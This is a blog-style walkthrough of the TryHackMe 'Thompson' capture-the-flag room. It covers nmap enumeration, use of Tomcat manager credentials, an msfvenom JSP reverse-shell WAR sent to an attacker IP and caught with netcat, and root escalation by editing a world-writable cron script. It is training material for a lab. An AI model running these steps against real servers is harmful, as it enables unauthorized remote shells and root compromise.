TryHackMe: Thompson

5 min readNov 21, 2020


Thompson is another beginner-friendly room on based on the exploitation of AJP (Apache JServ Protocol). If done right completing this room won’t take more than 15 to 20 minutes as it is pretty easy.

Initial Enumeration

The first that we must do is run an nmap scan against the machine’s IP address in order to determine the various ports open on the machine.

└──╼ $nmap -A
Starting Nmap 7.80 ( ) at 2020-11-20 22:27 IST
Nmap scan report for
Host is up (0.16s latency).
Not shown: 997 closed ports
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 fc:05:24:81:98:7e:b8:db:05:92:a6:e7:8e:b0:21:11 (RSA)
| 256 60:c8:40:ab:b0:09:84:3d:46:64:61:13:fa:bc:1f:be (ECDSA)
|_ 256 b5:52:7e:9c:01:9b:98:0c:73:59:20:35:ee:23:f1:a5 (ED25519)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp open http Apache Tomcat 8.5.5
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/8.5.5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 41.99 seconds

We can see that on port 8080 Apache Tomcat is running which suggests we can try to access it via a web browser at <ip_address>:8080.

And there we land on the Apache Tomcat default page. We can try to access the Manager App as from there we can access Tomcat’s dashboard. But when we click on that link, it asks us for a username and password which we don’t know.

We can try some default credentials like admin:admin or any other but they don't work. But when we click on the cancel button it leads us to an unauthorized access error page.

And on the same page, we can find the username and password which we can use to access the application manager.

Now, we have access to the application manager. One thing to note is that in the application manager we have an option to upload a WAR file. So, we can create a custom payload using msfvenom, upload it on the server and gain a reverse shell to the machine.

We can search on the internet beforehand to be sure that this method works. One such article can be found here. So, now we can move ahead and create a payload using msfvenom.

└──╼ $msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker_IP> LPORT=4444 -f war > shell.war
Payload size: 1094 bytes
Final size of war file: 1094 bytes

This command basically creates a reverse shell payload with the local host IP address and local port on which it should connect, and stores it in a war file.

Switches used:

-p: Determine the payload that is to be used

-f: Determine the output file type

LHOST: IP where the victim machine should connect (Attacker’s IP address)

LPORT: Port on which the victim machine should connect (Where attacker would be listening)

Now, we can upload this war file through the application manager.

Once uploaded, we can access this file at <ip_address>:8080/shell. Note that before accessing the file, start a listener on the attacker machine using the command nc -nvlp 4444. And as soon as the file has been accessed we get a reverse shell on our attacker machine:

└──╼ $nc -nvlp 4444
listening on [any] 4444 ...
connect to [<attacker_ip>] from (UNKNOWN) [] 33530

Now, we can move around and look for the user flag in the /home directory.

cd /home
ls -la
total 12
drwxr-xr-x 3 root root 4096 Aug 14 2019 .
drwxr-xr-x 22 root root 4096 Aug 14 2019 ..
drwxr-xr-x 4 jack jack 4096 Aug 23 2019 jack
cd jack
ls -la
total 48
drwxr-xr-x 4 jack jack 4096 Aug 23 2019 .
drwxr-xr-x 3 root root 4096 Aug 14 2019 ..
-rw------- 1 root root 1476 Aug 14 2019 .bash_history
-rw-r--r-- 1 jack jack 220 Aug 14 2019 .bash_logout
-rw-r--r-- 1 jack jack 3771 Aug 14 2019 .bashrc
drwx------ 2 jack jack 4096 Aug 14 2019 .cache
-rwxrwxrwx 1 jack jack 26 Aug 14 2019
drwxrwxr-x 2 jack jack 4096 Aug 14 2019 .nano
-rw-r--r-- 1 jack jack 655 Aug 14 2019 .profile
-rw-r--r-- 1 jack jack 0 Aug 14 2019 .sudo_as_admin_successful
-rw-r--r-- 1 root root 39 Nov 20 09:39 test.txt
-rw-rw-r-- 1 jack jack 33 Aug 14 2019 user.txt
-rw-r--r-- 1 root root 183 Aug 14 2019 .wget-hsts
cat user.txt

And there we get the user flag.

Privilege Escalation

The next task is to obtain the root flag. Also, in user jack’s directory, we can see an executable file We can try to check what is its function as it appears to be a bit suspicious.

id > test.txt

It appears that it read the id and writes it down to a file named test.txt. This text file is also present in jack's directory, so we can read it and get to know what user privilege this shell script is being executed.

cat test.txt
uid=0(root) gid=0(root) groups=0(root)

The content of text.txt makes it clear that this script is being executed with root privileges. So, all we need to do is modify the content of to read the root flag and write it down to test.txt. This can be done using a simple echo command:

echo "
cat /root/root.txt > text.txt" >

cat /root/root.txt > text.txt

Now, as this is being run by a cronjob we must wait for some time and read the test.txt file to get out root flag.

Reference Links

  1. TryHackMe-Thompson:
  2. Exploiting Tomcat Manager:

Do check out my other work and write-ups at